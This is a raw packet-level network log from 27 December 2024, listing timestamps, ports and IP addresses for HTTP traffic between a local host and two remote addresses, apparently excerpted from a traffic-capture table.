Dec 27, 2024 09:02:48.915709019 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.916471958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.916637897 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.917422056 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.917448997 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.917553902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.918448925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.918462038 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.918479919 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.919143915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.919171095 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.919267893 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.919835091 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.919862986 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.919955015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.920739889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.920825958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.920849085 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.921681881 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.921695948 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.921745062 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.921745062 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.922434092 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.922502041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.923309088 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.923423052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.923446894 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.924181938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.924211979 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.924216032 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.925031900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.925060987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.925174952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.926141977 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.926155090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.926167011 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.926826954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.926851988 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.926888943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.927412033 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.927676916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.927772999 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.927876949 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.928550959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.928684950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.929482937 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.929513931 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.929603100 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.930316925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.930337906 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.930376053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.931273937 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.931291103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.931303978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.931369066 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.932029009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.932115078 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.932888031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.933082104 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.933104992 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.933774948 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.935256004 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.003040075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.003077030 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.003279924 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.003307104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.003411055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.003619909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.003643990 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.004363060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.004421949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.005286932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.005330086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.005354881 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.006052017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.006300926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.006932020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.007055998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.007080078 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.007787943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.007870913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.007941008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.008729935 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.008826017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.008851051 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.009584904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.009661913 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.009684086 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.010438919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.010565042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.010590076 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.011310101 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.011406898 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.012177944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.012248993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.012284040 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.013005972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.013113976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.013137102 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.013863087 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.015525103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.015552998 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.015676975 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.015963078 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.016000032 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.016117096 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.016844034 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.016866922 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.017148018 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.017211914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.017242908 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.018033981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.018086910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.018958092 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.019028902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.019057035 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.019861937 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.019875050 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.020610094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.020633936 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.026910067 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.106961012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.107095003 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.107109070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.107208014 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.107261896 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.107903004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.107917070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.107928038 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.108702898 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.108727932 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.108859062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.109638929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.109652042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.109666109 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.110429049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.110464096 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.110548973 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.110872030 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.111263990 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.111393929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.112126112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.112157106 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.112303019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.113092899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.113121986 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.113229036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.113878012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.113888979 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.114029884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.114746094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.114779949 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.114845037 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.115637064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.115660906 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.115792990 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.116513014 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.116538048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.116571903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.117391109 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.117434025 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.117476940 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.118238926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.118266106 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.118336916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.119141102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.119169950 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.119307041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.119873047 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.119960070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.120152950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.120858908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.120886087 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.121005058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.121838093 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.121864080 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.121946096 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.122627974 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.122638941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.122661114 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.122883081 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.123642921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.123842955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.124433041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.124444962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.124459982 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.125197887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.125220060 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.125402927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.125885010 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.126106024 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.126162052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.126945019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.126969099 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.127088070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.127851009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.127883911 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.127954006 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.128794909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.128818989 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.128878117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.128998041 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.129659891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.129673004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.130470991 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.130501986 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.130620956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.130764008 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.131304026 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.131393909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.131680012 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.132231951 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.132261992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.132347107 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.551878929 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.559062004 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.607419014 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.652710915 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.671523094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.671637058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.671879053 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.671962023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.672028065 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.672192097 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.678714037 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.678740978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.678867102 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.679121017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.679220915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.679363012 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.679965973 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.680102110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.680964947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.680975914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.680993080 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.681108952 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.681755066 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.681972980 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.682044029 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.682615042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.682749987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.682843924 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.683459997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.683558941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.683873892 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.684413910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.684432983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.684603930 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.685182095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.685312986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.685472012 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.686124086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.686213017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.686321974 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.686958075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.686970949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.687242031 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.687859058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.687917948 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.688062906 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.688745975 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.689022064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.689218998 CET	80	49793	185.215.113.206	192.168.2.11
Dec 27, 2024 09:02:49.689245939 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.689448118 CET	49793	80	192.168.2.11	185.215.113.206
Dec 27, 2024 09:02:49.689621925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.689632893 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.689910889 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.690393925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.690526962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.691196918 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.691318989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.691415071 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.691694021 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.692146063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.692267895 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.692519903 CET	49793	80	192.168.2.11	185.215.113.206
Dec 27, 2024 09:02:49.692658901 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.693022013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.693240881 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.693469048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.693883896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.694017887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.694237947 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.694816113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.694859982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.695138931 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.695700884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.695878983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.695977926 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.696650982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.696723938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.696778059 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.697412968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.697638035 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.698121071 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.698278904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.698306084 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.698407888 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.698852062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.698872089 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.698952913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.699680090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.699816942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.699877977 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.700566053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.700687885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.700881958 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.701431036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.701623917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.702310085 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.702418089 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.702445030 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.702903032 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.703167915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.703304052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.703409910 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.704082012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.704181910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.704924107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.705039978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.705065012 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.705743074 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.705806971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.705920935 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.706090927 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.706660986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.706775904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.706851006 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.707576036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.707657099 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.708142042 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.708453894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.708549976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.709302902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.709415913 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.709439993 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.709548950 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:49.710158110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:49.710237026 CET	80	49768	185.215.113.16	192.168.2.11
